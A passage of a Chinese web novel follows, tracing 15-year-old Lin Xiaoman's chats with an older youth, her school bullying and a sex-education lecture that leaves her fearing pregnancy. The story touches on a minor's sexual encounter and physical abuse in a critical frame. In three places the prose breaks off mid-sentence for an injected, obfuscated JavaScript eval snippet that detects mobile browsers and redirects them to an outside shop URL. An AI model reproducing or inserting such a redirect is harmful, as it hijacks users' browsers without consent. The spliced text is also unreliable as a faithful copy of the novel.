外面奶奶在敲门:“小满,面好了,出来吃点。” 她擦了一下眼睛,站起来,打开门。 奶奶端着一碗面站在门口,热气往上飘,熏得她眼睛模糊。 “吃吧。” 林小满接过碗,低头看。面卧着一个荷包蛋,几片青菜叶子,上面还滴了香油,闻着很香。 她吃了一口,又吃了一口。 奶奶在旁边站着,看着。 “奶,你坐。” 奶奶在她床边坐下,看着她吃。 “好吃不?” “嗯。” 奶奶没再说话,就那么看着她。 林小满吃到一半,抬起头:“奶,那个男的……他问我为什么不跟他走。” 奶奶愣了一下。 “你怎么说?” “我说我害怕了。” 奶奶沉默了一会儿,伸手摸摸她的头。那只手糙糙的,有茧子,但是很暖和。 “怕就对了。”奶奶说,“怕才不会吃亏。” 林小满低下头,继续吃面。 吃完面,奶奶把碗收走了。林小满躺回床上,盯着天花板,那条裂缝还在,从墙角一直延伸到灯座边上。 手机又震了。 周深:你睡了吗? “没”。 “我还在车站呢,等明天最早的车走”。 “去哪”? “电子厂,我朋友之前干过的,说那边招人”。 “远吗”? “远,坐火车得一天一夜”。 她没回。 “那边工资高,一个月五六千,包吃住。等我安顿好了,你想来随时来”。 她看着这行字,心里不知道什么滋味。 她打字:我今天回来,我奶奶哭了。 那边沉默了几秒。 “……对不起”。 “不是你的错。是我自己走的”。 “那你后悔不”? 她想了很久,不知道该怎么回。 她后悔吗?她不知道。她只知道在火车站等他那几个小时,她一直在想,要是没跟他走就好了。但要是没跟他走,她可能一辈子都不会知道,有人会愿意等她。 “不知道”。 “我也不知道”。 “你学校的事,打算怎么办”? “什么怎么办”? “那个宋婷婷,还找你麻烦不”? 她想起厕所里的巴掌,想起那个对着她的镜头,想起那些笑声。 “不知道,明天去了才知道”。 “她要是再找你麻烦,你别忍着”。 “那我怎么办”? "告诉你爸妈,告诉你老师”。 她看着这行字,突然想笑。 告诉他爸妈? 她爸妈在哪她都不知道。上次打电话是一个月前还是两个月前?她不记得了。他们打来的时候她不是在写作业就是在睡觉,接起来也就是那几句:好好学习,听爷爷奶奶话,钱过两天打。然后就没然后了。 “我爸妈不管我”。 那边沉默了几秒。 “那告诉你老师”。 “老师管一次两次,管不了永远”。 “那你就这么忍着”? 她没回。 “你跟我说说,他们到底怎么你了”? 她看着这行字,手指悬在屏幕上方,不知道从哪说起。 怎么她了? 她们打她。她们扇她巴掌。她们拍她视频。她们翻她手机。她们骂她是小三,骂她不要脸,骂她抢别人男人。她们让她在厕所里站了整整一个课间,出不去,也不敢出去。 她想说这些,但打了几个字又删掉了。 “怎么了”? “没什么”。 “林小满” “嗯”? “我跟你说过,我养你。我说的不只是钱”。 她盯着这行字,眼眶又热了。 她打字:“她们打我”。 那边沉默了很久。 “什么时候”? “前几天,在厕所里。” “几个人”? “三个” “打哪了”? “脸上”。 “还有呢”? “拍了视频。翻了我手机。看了咱俩的聊天记录”。 那边又沉默了很久。 然后他发:你为什么不告诉我? “告诉你有什么用”? “我他妈去找她们”! “你找她们能怎么样?你也打她们?她们是女的,你是男的,你打了她们你就进去了”! 那边没回。 她继续打字:她们还拿视频威胁我,说要发给班主任。 “发了没”? “没有。可能是忘了,可能是还没想好什么时候发”。 "发了怎么办"? "不知道"。 "到时候你就说是我让你走的”。 她愣了一下 “什么”? “你就说是我骗你的,是我逼你的。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347227|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样老师就不会怪你了”。 她看着这行字,看了很久。 “那你呢”? “我无所谓,我又不在学校”。 “你不是说要打工吗?要是警察找你怎么办”? “找就找呗,又没犯法”。 “怎么没犯法?你把我骗出去的”。 “那是你自愿的”。 “我十五岁,法律上说自愿不算”。 那边沉默了几秒。 ”你懂挺多啊”。 “警察说的”。 “那警察怎么说我的”? “说是遗弃,说你对未成年人有照顾义务”。 “……行吧”。 “你怕不怕”? “怕什么”? “怕警察抓你”。 “抓就抓呗,又不是没进去过”。 她愣住了。 “你进去过”? “未成年的时候偷东西,关过几天”。 她不知道该说什么。 “不过那是以前的事了。现在不偷”。 “那你现在干什么”? “打工啊,不是跟你说了吗”。 “哦”。 “你嫌弃我不”? “嫌弃你什么”? “偷过东西”。 她想了很久,打字“你给我买过汉堡”。 “就因为这个”? “嗯”。 他笑了,发了个“哈哈”过来。 她也笑了一下,笑着笑着又想哭。 她打字“周深”。 "嗯"? "你为什么要对我好"? "什么"? "你为什么要给我买吃的?为什么要带我走?为什么要等我"? 那边沉默了很久。 然后他发:不知道。 "不知道"? "就是看着你可怜"。 她愣住了。 他又发:不是那种可怜。是……你跟我一样。 "一样什么"? "没人要....."。 她盯着这行字,盯了很久。 眼眶热得厉害,视线都模糊了。她使劲眨眼,不让眼泪掉下来。 "你爸妈不管你,我爸妈也不要我。咱俩一样"。 "那你以后打算怎么办"? "打工,攒钱,以后自己干。 " "干嘛”? “不知道,想干吗干吗”。 “带我一起吗”? “带”。 就这一个字。 她看着这个字,眼泪终于掉下来。一颗一颗,砸在手机屏幕上,砸在“带”那个字上面。 她不知道自己哭了多久。只知道后来眼泪干了,屏幕上的字也能看清了。 他又发了一条:你明天上学吗? “上吧”。 “那早点睡”。 “嗯”。 “林小满”。 “嗯“? “不管以后怎么样,有事随时找我”。 “好”。 “我明天还要赶车,先睡了”。 她:“好”。 “晚安”。 “晚安”。 她把手机放下,躺在床上,看着天花板。 那条裂缝还在。从墙角到灯座,像一条河。 她想起小时候,她问奶奶这条裂缝是怎么回事。奶奶说房子老了,都这样。她又问会不会塌,奶奶说塌不了,奶奶在呢。 奶奶在呢。 她翻了个身,把脸埋进枕头里。 枕头有点潮,不知道是出汗了还是别的什么。 外面传来奶奶的咳嗽声,还有爷爷调收音机的声音。戏曲没了,换成新闻,在说明天天气怎么样。 她闭上眼睛。 明天还要上学。 明天还要见宋婷婷。 明天还要面对那些事。 但不知道为什么,她没那么怕了。 手机又震了一下。她拿起来看,是周深发的一条语音。 她点开,贴在耳边。 那边很安静,只有他的声音,轻轻的,像怕吵到谁: “林小满,等我安顿好了,给你发地址。你想来,随时来。” 她把这条语音听了三遍。 然后她回了一个字: “好。” 她把手机放回枕头边,闭上眼睛。 窗外的路灯还亮着,透进来一点光,在墙上画出一个模糊的方块。 她不知道明天会怎样。 但今晚,有人跟她说晚安。 10. 命运循环09 林小满以为回来就好了。 周一早上她起得很早,比平时还早。奶奶在厨房里忙活,听见她起床的声音,探出头来看了一眼。 “这么早?” “嗯,早点去,补作业。” 她撒谎了。作业其实写完了,在火车站那晚没事干,就着候车室的灯光写的。旁边有人吃泡面,有人打呼噜,有人盯着手机看视频,外放的声音很大。她就那么蹲在角落里,趴在膝盖上,把数学卷子写完了。 她只是不想让奶奶送。 奶奶非要送。 “我送你到校门口。” “不用。” “送送咋了?” “奶,我十五了,不用送。” 奶奶看着她,看了几秒,没再坚持。 走出巷子的时候她回头看了一眼,奶奶还站在门口,围裙没解,手里攥着那块抹布,就那么站着。 她加快脚步走了。 到学校的时候还早,校门口没几个人。门卫大爷认出她,点点头,没说话。她低着头走进去,穿过操场,穿过教学楼,走到自己教室。 教室里只有几个人,都在补作业。她坐到自己的位置上,把书包放下,掏出书来看。 其实看不进去。 她在等。 等什么她也不知道。等上课铃响?等宋婷婷出现?等第一节课的老师走进来? 九月的早上,阳光从窗户照进来,落在课桌上,落在地上,落在她的手上。她盯着自己的手,看着阳光在手指上移动,一点一点,很慢。 林雨来了。 林雨背着书包走进来,看见她,愣了一下,然后走过来,把书包往桌上一摔。 “来了?” “嗯。” 林雨没再说话,坐下,掏出作业来抄。抄了几笔,又抬头看她。 “你没事吧?” “没事。” “真的?” “真的。” 林雨盯着她看了几秒,没再问。 第一节是语文课,讲文言文。林小满听着听着就走神了,不知道讲到哪。老师点名让她翻译一句,她站起来,看着黑板上的字,一个都不认识。 “坐吧,下课来找我。” 她坐下,脸有点热。 下课的时候她去找老师,老师给她讲了一遍,问她听懂了没,她点头。其实没太懂,但她不敢说没懂。 第二节课数学,第三节课英语,第四节课物理。她坐在那里,听着课,记着笔记,像一个正常的学生一样。 中午她去食堂吃饭,打了二两米饭,一个素菜,一个人坐在角落里吃。吃着吃着,对面坐下一个人,抬头一看,是林雨。 “一个人躲这儿干嘛?” “没躲。” 林雨没说话,低头吃饭。吃了几口,又抬头看她。 “那个男的还联系你吗?” 林小满愣了一下,然后点头。 “他说什么?” “说在电子厂打工,一个月四五千。” 林雨看了她一眼,那眼神她说不上来是什么。 “你还打算去找他?” “不知道。” 林雨没再问。 吃完饭回教室,下午还有两节课。林小满趴在桌上,想睡一会儿,睡不着。阳光从窗户照进来,晒得后背暖暖的,但她就是睡不着。 她一直在想林雨那句话:你还打算去找他? 她不知道。 她真的不知道。 下午第二节课后是大课间,二十分钟。林小满想去厕所,站起来往外走。走到走廊拐角的时候,被人拦住了。 是宋婷婷。 还有那两个女的,黄头发和胖的那个。 林小满心里咯噔一下,想往后退,后面不知道什么时候也站了人。她被困在中间,前后左右都是人。 “哟,回来了?”宋婷婷围着她转了一圈,从上到下打量她,“听说你跟人私奔了?跑外地去了?” 林小满没说话。 “怎么又回来了?让人甩了?” 旁边有人笑。笑声不大,但很清楚。 “我没跟人私奔。”林小满开口,声音比自己想象的要稳,“我去找我亲戚了。” “找你亲戚?”宋婷婷笑了,“找你什么亲戚?那个男的?” 林小满不说话了。 宋婷婷凑近她,盯着她的眼睛:“我上次跟你说什么来着?离周深远点,你是不是忘了?” “跟他没关系。” “没关系他为你打架?我哥们的脸是他打的,你知不知道?” 林小满愣住了。 周深脸上的伤,是这么来的? “怎么,不知道?”宋婷婷笑了,“他为你出头,被人打成那样,你什么都不知道?你可真行。” 林小满站在原地,脑子里嗡嗡的。 “算了,不说这个。”宋婷婷退后一步,抱着胳膊看她,“听说你挺有本事的啊,勾搭完周深,又勾搭别人?” “我没有。” “没有?那昨天有人看见你在操场跟二班的男生说话?” “那是借笔记。” “借笔记?”宋婷婷笑出声来,“你借笔记贴人家那么近?你当我是傻子?” 旁边有人跟着笑。 林小满的脸开始发热。她想解释,但不知道该怎么说。昨天确实有人找她借笔记,那是她小学同学,就说了两句话,根本没有贴很近。 但她知道解释没用。 “行了,别废话了。”宋婷婷朝旁边的人使了个眼色,“体育课再说。” 她们散了。 林小满站在原地,站了很久。上课铃响了,她才回过神来,往教室走。 下午第三节是体育课。 林小满最怕的就是体育课。因为体育课在操场,操场很大,人很多,老师管不过来。体育课的时候,什么事都可能发生。 集合,点名,跑圈,热身运动。体育老师是个男的,三十多岁,不太管女生的事。跑完圈他就去旁边抽烟,让她们自由活动。 自由活动的时候,她们来了。 “林小满,过来打球。” 是宋婷婷的声音。林小满假装没听见,往另一边走。 有人从后面拽住她的衣服,把她拉回去。 “叫你听不见?” 她被拉到一个角落里,操场的东边,有一排乒乓球台挡着,从老师那边看不见。 “脱鞋。” 林小满愣了一下。 “脱鞋,听不懂?” 她没动。 黄头发女生上来就推了她一把,她踉跄了两步,差点摔倒。 “让你脱鞋就脱鞋,废什么话?” 她蹲下去,把鞋脱了。 鞋是奶奶买的,几十块钱的帆布鞋,洗得发白了,但还能穿。她把鞋放在地上,光着脚站在水泥地上。九月的下午,地面被太阳晒得有点烫,但她的脚是凉的。 “袜子也脱。” 她把袜子也脱了。 宋婷婷拎起她的鞋,翻过来看了看,撇撇嘴:“什么破鞋。” 旁边的人笑。 “你爸妈不给你买鞋啊?穿这种破烂?” “我爸妈在外地。”林小满说。 “外地?我看是不想要你吧。” 林小满没说话。 宋婷婷把鞋扔在地上,扔到她脚边。 “穿上吧,省得说我们欺负你。” 她弯腰去捡鞋,刚捡起来,头上被人拍了一巴掌。不重,但很响,啪的一声。 她抬起头,是胖女生在笑。 “看什么看?” 她低下头,把鞋穿上。 “听说你成绩挺好的?”宋婷婷问。 她不说话。 “问你话呢。” “还行。” “还行?那你给我们写作业吧。以后每天的作业,你写三份,给我们仨。” 林小满抬起头看她。 “怎么,不愿意?” “我写不完。” “写不完是你的事,关我们什么事?” 旁边又有人笑。 林小满低下头,不说话了。 宋婷婷走过来,蹲在她面前,伸手捏住她的下巴,把她的脸抬起来。 “你知道你长得不好看吗?” 林小满看着她。 “眼睛小,鼻子塌,脸上还有痘。”宋婷婷一边说一边打量她,像在挑什么东西,“穿得也土,一看就是农村来的。周深看上你什么了?可怜你?” 林小满的眼眶有点热,但她忍着,没让眼泪掉下来。 “你知道我们怎么说的吗?”宋婷婷凑近她,压低声音,“我们说你是卖的。不然他怎么会给你买东西?” 林小满浑身一震。 “怎么,不信?”宋婷婷笑了,“你去打听打听,现在谁不知道?林小满,跟人睡一觉换顿肯德基,便宜货。” “我没有。” “你有什么证据你没有?” 林小满张了张嘴,说不出话来。 宋婷婷站起来,拍拍手,像拍掉什么脏东西。 “行了,今天就到这儿。记住,作业三份,明天早上交。不然——” 她没说不然怎么样,只是笑了笑,转身走了。 另外两个人也跟着走了。 林小满蹲在那个角落里,蹲了很久。阳光照在她身上,晒得后背发烫。操场上有人在打球,有人在跑步,有人在笑。那些声音远远的,像隔着一层什么东西。 她把脸埋进膝盖里,没出声。 下课铃响的时候,她站起来,腿有点麻。她揉了揉腿,往教室走。 走到一半,碰见林雨。 “你干嘛去了?找你半天。” “没干嘛。” 林雨看着她,眼神变了变。 “你眼睛怎么红了?” “太阳晒的。” 林雨盯着她看了几秒,没说话。 放学的时候,林雨拉住她。 “到底怎么了?” “没什么。” “林小满。” 林小满看着她,看着她眼睛里的担心,突然有点想哭。 但她忍住了。 “没事。”她说,“真没事。” 她没告诉林雨。 她没告诉任何人。 回家的路上她走得很慢,一步一步,像踩在棉花上。夕阳在她背后,把她的影子拉得很长。她看着自己的影子,看着它一会儿变长,一会儿变短,一会儿被别的影子盖住。 到家的时候奶奶在做饭,油烟味从厨房飘出来,呛呛的。爷爷在听收音机,还是那个戏曲频道,还是咿咿呀呀的。 “回来了?洗手吃饭。” “嗯。” 她进了自己屋,把门关上。 她卷起袖子看了看,胳膊上有一块青的,不知道什么时候撞的。腿上也有,好几块。她盯着那些淤青,盯了一会儿,把袖子放下来,把裤腿放下来。 外面奶奶在喊吃饭。 她出去吃饭。 吃完饭写作业。 写完作业洗澡。 洗完澡躺床上。 手机震了一下,是周深发的消息:今天咋样? 她看着这三个字,看了很久。 然后她打字:挺好的。 发完她把手机放到一边,盯着天花板。 那条裂缝还在。 从墙角到灯座,像一条河。 她闭上眼睛,睡不着。一闭眼就想起下午的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347228|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起宋婷婷的脸,想起她说的话,想起那些笑。 “你是卖的。” 她没有。 她真的没有。 但她没有证据。 她翻了个身,把脸埋进枕头里。枕头很快就湿了,一小片,温热的。 她没出声。 第二天早上她起得很早,写了三份作业。一份自己的,一份宋婷婷的,一份黄头发女生的。胖女生的她没写,实在写不完了。 到学校她把作业交上去,宋婷婷看了看,撇撇嘴。 “怎么只有两份?” “写不完。” 宋婷婷看了她一眼,没说话。林小满低着头,等着。 但那天什么都没发生。 第三天,也没发生。 第四天,也没发生。 她以为过去了。 第五天体育课,她们又来了。 这回是在厕所里。她上完厕所出来,被堵在洗手台边上。 “作业。” 她把作业递过去,三份,都写完了。 宋婷婷接过作业翻了翻,点点头,然后抬头看她。 “听说你跟人说我们欺负你?” “我没有。” “没有?那为什么有人来问我?” 林小满愣住了。她不知道这事。 “装什么装?”宋婷婷把作业往地上一摔,“你是不是跟林雨说了?” “我没说。” “没说?她为什么来找我?” 林小满不知道林雨去找过她。她真的不知道。 “算了。”宋婷婷挥挥手,“给她长长记性。” 黄头发女生上来就拧她的胳膊。不重,但很疼,肉被拧起来,转一圈,那种疼是钻心的。她咬着牙,没出声。 胖女生从后面掐她的腰,掐她的后背,掐那些衣服盖住的地方。 “叫啊,怎么不叫?” 她咬着牙,不叫。 宋婷婷在旁边看着,看了一会儿,笑了。 “还挺能忍。行,以后每天这个时间,来这儿报到。” 她们走了。 林小满一个人站在厕所里,站了很久。镜子里的自己脸色发白,眼眶红红的,但没哭。 她打开水龙头,洗了把脸,回教室了。 那天晚上洗澡的时候,她对着镜子看自己。胳膊上好几块青的,腰上也青了,后背不知道什么样,她看不见。 她用手指按了按那些淤青,疼。不是很疼,就是那种按下去就疼,不按就不疼的疼。 她穿上衣服,出去睡觉。 第二天体育课,她又去了。 第三天,也去了。 第四天,也去了。 每天都是那些地方,胳膊、腰、后背、大腿。都是看不见的地方。她们不打脸,不留下明显的伤,只拧、掐、推、拍。疼是疼的,但脱了衣服才能看见。 她没告诉林雨。 她没告诉老师。 她没告诉爷爷奶奶。 她也没告诉周深。 她不知道告诉谁。 告诉老师?管一次两次,管不了永远。她们会变本加厉。 告诉奶奶?奶奶腿脚不好,心脏也不好,知道了能怎么办?去学校闹?她能闹得过谁? 告诉周深?他在那么远的地方打工,回来又能怎样?再打一架?再被人打一顿? 没有人能帮她。 她只能自己忍着。 有一天体育课,她蹲在那个角落里,蹲着蹲着,突然想起一件事。 她想起小时候,有一次跟奶奶去赶集,看见一个卖糖葫芦的。她想吃,但奶奶没买。不是不给买,是那天带的钱不够。奶奶说下次,下次一定买。 她哭了。不是因为没吃到糖葫芦,是因为她知道自己不该哭。奶奶已经尽力了,她没钱,她没办法。 后来奶奶还是买了,从别的地方省出来的钱。 她吃着那串糖葫芦,又甜又酸,吃着吃着又想哭。 她现在也是那种感觉。 奶奶已经尽力了。爷爷也尽力了。他们没有钱,没有文化,没有本事。他们能给的都给了。 她不能再要更多了。 “林小满!” 有人喊她。她抬起头,是林雨,站在乒乓球台那边,朝她挥手。 她站起来,走过去。 “你干嘛呢?一个人蹲那儿?” “没干嘛,晒太阳。” 林雨看着她,又是那种眼神,像是什么都知道,又什么都不说。 “走吧,快上课了。” “嗯。” 她们一起往教室走。阳光照在她们身上,把两个人的影子叠在一起。 林雨突然说:“有事跟我说。” 林小满愣了一下。 “什么事?” “你的事。” 林小满没说话。 林雨也没再说话。 上课铃响了。 那天晚上,林小满躺在床上,看着天花板。 手机震了一下,是周深发的消息:睡没? 她:没。 他:今天咋样? 她:还行。 他:那边有人欺负你没? 她看着这行字,看了很久。 然后她打字:没有。 他:那就好。有事跟我说。 她:嗯。 他:我上班了,明天早班,先睡了。 她:好。 他:晚安。 她:晚安。 她把手机放下,闭上眼睛。 窗外路灯的光透进来,在墙上画出一个模糊的方块。 她不知道这样的日子还要过多久。 但她知道,她不能说。 谁都不能说。 11. 命运循环10 林小满记得那天是星期四。 下午第二节课后,班主任走进教室,说了一件事。 “明天下午第三节课,全体女生去多功能厅,有个讲座。” 底下有人问:“什么讲座?” “生理卫生方面的。”班主任顿了顿,“学校专门请了老师来讲,都去听听。” 教室里响起一阵窸窸窣窣的声音,有人在笑,有人交头接耳。林小满低着头,假装在看书。她听见后排有人在说“生理卫生不就是讲那个吗”,然后是一阵压低的笑声。 班主任拍了拍桌子:“安静。这是正经课,都认真听。” 第二天下午,第三节课铃响,林小满跟着班里的女生往多功能厅走。 多功能厅在教学楼一楼东头,平时用来开年级大会或者放电影。林小满进去的时候已经坐了不少人,她找了个靠后的位置坐下,林雨坐她旁边。 讲台上放着一块白板,旁边站着个女老师,三十来岁,穿着件浅蓝色的衬衫,头发扎起来,看起来很温和。 人差不多到齐了,女老师拍了拍话筒,开口了。 “同学们好,我姓陈,你们可以叫我陈老师。今天这节课,咱们聊点平时课本上不太讲,但你们需要知道的东西。” 底下安静下来。 陈老师笑了笑:“别紧张,不是什么可怕的事。咱们先从最简单的开始——你们知道什么是青春期吗?” 有人小声说:“知道,就是长大的时候。” “对,青春期就是我们从儿童向成人过渡的阶段。这个阶段,你们的身体会发生很多变化。”陈老师转身在白板上写了几个字:身高、体重、体毛、声音。 “这些你们都知道,我就不多讲了。今天咱们重点聊两个事:一个是生理期,一个是性。” 林小满愣了一下。 那个字就这么被说出来,没有一点遮掩,像说吃饭喝水一样自然。 “先讲生理期。”陈老师放了一段视频,是动画的,画得很清楚。子宫、卵巢、卵子、子宫内膜——那些平时在生物课本上见过但从来没搞懂的东西,一下子变得具体起来。 “月经是怎么来的?”陈老师指着动画,“每个月,你们的卵巢会排出一颗卵子。同时,子宫会增厚子宫内膜,为可能到来的受精卵做准备。如果卵子没有受精,增厚的内膜就会脱落,混合着血液从□□排出来,这就是月经。” 底下有人举手。 “老师,那疼怎么办?” “好问题。”陈老师点点头,“痛经是很常见的,因为子宫收缩要把内膜排出来,收缩就会疼。轻度疼痛可以热敷、喝热水、休息。如果疼得厉害,影响正常生活,要去医院看,不要硬扛。另外,经期不要吃太凉的东西,不要剧烈运动,注意保暖。” 又有人举手:“老师,那月经不规律怎么办?” “刚来月经的那一两年,不规律很正常。因为你们的身体还在发育,排卵功能还不稳定。但如果连续几个月不来,或者一个月来好几次,或者量特别大,也要去医院看看。” 林小满听着,脑子里开始回想。 她的月经规律吗? 好像不太规律。有时候三十天,有时候四十天,她从来没记过。 她只知道上次来是什么时候——出事之前的那一周。 那是多久以前了? 她算不清。 陈老师继续讲:“接下来咱们说卫生问题。经期要勤换卫生巾,最好两三个小时换一次,不管量多量少。不要用那些来路不明的卫生巾,要去正规超市买。每天用清水清洗外阴,不要用洗液,清水就够了。” 有人小声嘀咕:“我妈说不让洗。” 陈老师听见了,认真地说:“要洗的。经期血液容易滋生细菌,不洗干净容易得妇科病。记住了吗?” 底下稀稀拉拉地应了一声。 “好,接下来咱们说第二个话题。”陈老师顿了顿,看着台下这些十四五岁的女孩,“性。” 多功能厅里一下子安静了。 陈老师没有回避,继续往下说:“我知道你们很多人觉得这个话题不好意思,觉得羞耻。但我要告诉你们,性不可耻。它是人类正常的生理需求,也是成年人生活的一部分。但——” 她强调了一下那个“但”字。 “——但它是需要知识和责任的事情。尤其是你们现在这个年纪,身体在发育,心理也在变化,对异性好奇,对性好奇,这很正常。但好奇不代表要去做,想做也不代表现在可以做。” 林小满低着头,手指绞在一起。 “咱们先说一个最基本的问题:性行为到底是怎么回事。” 陈老师又放了一段动画。这次比刚才更详细——精子、卵子、受精过程、怀孕的原理。 “男性进入女性身体,□□,精子通过□□、子宫,游到输卵管。如果那里正好有一颗卵子,精子就会和卵子结合,形成受精卵。受精卵会游回子宫,着床在子宫内膜上,然后开始发育,这就是怀孕。” 林小满盯着屏幕,脑子里嗡嗡的。 她想起那天晚上。 出租屋的床,昏暗的灯光,周深在她身上。她疼,她害怕,但她没喊停。她以为那就是喜欢一个人该做的事。 她从来不知道后面还有这么多步骤。 陈老师继续说:“所以你们要知道,只要发生性行为,就有怀孕的可能。不管是一次还是很多次,不管是什么姿势,不管事后怎么清洗,都有可能会怀孕。” 有人举手:“老师,那戴套呢?” “戴套可以大大降低怀孕的风险,也会降低得性病的风险。但戴套不是百分之百安全的,有可能会破,有可能滑脱,有可能用错了方法。另外——”陈老师看着大家,“戴套这种事,是男方的责任。但你们要知道,如果男方不愿意戴套,或者找各种理由不戴,那你们有权利拒绝发生关系。” 底下有人小声说:“可是男生都不喜欢戴。” “那是因为戴套会影响他们的快感。”陈老师毫不避讳,“但这是他们要解决的问题,不是你们要妥协的理由。你们的身体是你们自己的,不是用来满足别人快感的工具。” 林小满的手指绞得更紧了。 那天晚上,周深没戴套。 她根本不知道要戴套。 “还有一个问题你们必须知道。”陈老师换了一页PPT,“关于法律的。” 屏幕上出现了几行字: 《中华人民共和国刑法》第二百三十六条:以暴力、胁迫或者其他手段□□妇女的,处三年以上十年以下有期徒刑。 □□不满十四周岁的幼女的,以□□论,从重处罚。 “这条法律是什么意思?”陈老师指着屏幕,“意思是,如果对方不满十四周岁,不管她是不是自愿,只要发生性关系,男方都算□□。这是为了保护幼女,因为她们还不具备判断能力。” 底下有人吸了口气。 “那十五岁呢?”有人问。 “十五岁的话,如果是自愿的,男方就不构成□□罪。但是——”陈老师又强调了一次,“这不代表十五岁就适合发生性关系。法律是最低底线,不是行为标准。从保护自己的角度来说,越晚发生性关系,对自己越好。” 林小满听着,脑子里闪过一个念头。 她十五岁。 她自愿的。 所以周深没有犯法。 她不知道自己应该庆幸还是应该难过。 “另外还有一条。”陈老师继续说,“如果男方以谈恋爱为名,欺骗女生产生性关系,或者利用女生的感情,哄骗女生发生性关系,这叫‘骗奸’。骗奸在法律上很难定罪,因为取证很难,但在道德上,这是极其恶劣的行为。” 林小满的胸口像被什么堵住了。 周深骗她了吗? 他说他养她。他说他等她。他说她是真心的。 她不知道这算不算骗。 “接下来咱们说一个更具体的问题。”陈老师走到台下,站在过道里,离她们更近了,“怀孕了怎么办?” 多功能厅里一下子炸了锅。 “老师,这也能说?” “怎么不能?”陈老师看着她们,“你们觉得不说,就不会发生吗?每天都有未成年女孩怀孕,每天都有女孩因为不知道怎么处理,把自己逼到绝路上去。我今天就要告诉你们,如果真的发生了,该怎么办。” 林小满的心跳开始加速。 “首先,怎么判断自己可能怀孕?”陈老师掰着手指数,“第一,月经推迟。这是最明显的信号。如果月经推迟一周以上,就要警惕。第二,早孕反应。比如恶心、呕吐、□□胀痛、疲劳嗜睡。第三,可以用验孕棒测。药店有卖的,十几块钱一根,早上起来第一次尿液测最准。” 月经推迟。 林小满开始在脑子里算日子。 上次是什么时候来着?出事之前那一周。那周是第几周?她记不清了。她只记得那天晚上之后,过了几天,她跟周深去了火车站,又过了几天,她回来了。 那之后,她好像没再来过。 她没注意。她每天忙着应付宋婷婷,忙着写三份作业,忙着遮掩身上的伤,根本没注意月经来没来。 “如果测出来怀孕了,怎么办?”陈老师的声音把她拉回来。 “第一,不要慌。第二,不要自己乱吃药,不要相信什么偏方,不要在网上查乱七八糟的东西。第三,告诉你信任的成年人——父母、老师、或者其他你信得过的长辈。第四,去医院做正规检查。” 有人问:“老师,那可以打掉吗?” 陈老师沉默了几秒。 “可以。但——我要告诉你们,流产不是一件小事。药物流产适合怀孕49天以内,人工流产适合怀孕10周以内。不管是哪种,对身体都有伤害。而且月份越大,伤害越大。所以如果发现得早,一定要尽早处理。” 底下安静了。 “还有一点你们要知道。”陈老师看着她们,眼神很认真,“流产手术是有风险的。可能大出血,可能感染,可能损伤子宫,可能以后再也怀不上孩子。所以——最好的办法,是不要让自己走到那一步。” 林小满的指甲掐进掌心里。 “最后,咱们说一个最简单但也最重要的问题。”陈老师走回讲台,看着台下这些年轻的女孩,“你们知道什么是真正的喜欢吗?” 没人说话。 “真正的喜欢,是尊重。尊重你的意愿,尊重你的身体,尊重你的选择。他不会逼你做不想做的事,不会因为你不愿意就生气,不会用‘你不爱我’来要挟你。真正的喜欢,是会保护你的人,不是只会说‘我养你’的人。” 林小满的眼眶有点热。 周深说“我养你” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347229|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但他从来没问过她愿不愿意。 “好了,今天就说这么多。”陈老师笑了笑,“我知道你们可能一下子接受不了这么多,没关系,慢慢消化。有什么问题可以私下问我,我下周还在。” 下课铃响了。 林小满站起来,往外走。林雨在后面喊她,她没听见。 她一直走,走出教学楼,走过操场,走到校门口才停下来。 太阳快落山了,把天边染成橙红色的。她站在那儿,看着那片橙红色,脑子里全是刚才课上听到的话。 月经推迟。早孕反应。验孕棒。怀孕。流产。 她想起来一件事。 那天之后过了几天,她去买过一盒药。紧急避孕药,七十多块钱,她攒了两周的早饭钱。 药店的阿姨问她满十八了吗,她说满了。 她吃了。 她以为吃了就没事了。 但现在她突然不确定了。 那个药有用吗?她吃的时候已经过了多久了?她不知道。她只记得是第二天还是第三天,她记不清了。 她站在校门口,站了很久。 门卫大爷出来倒垃圾,看见她,问:“小姑娘,还不回家?” 她回过神来,点点头,往家走。 一路上她一直在算日子。出事那天,回来的那天,吃药那天,今天。她算了一遍又一遍,怎么算都算不清。 她不知道月经该哪天来。 她从来没记过。 到家的时候奶奶在做饭,油烟味飘出来,呛呛的。爷爷在听收音机,还是那个戏曲频道,还是咿咿呀呀的。 “回来了?洗手吃饭。” “嗯。” 她进了自己屋,把门关上。 她掏出手机,打开一个从来没打开过的APP——她下载过的一个经期记录软件,但从来没用过。 她开始填。 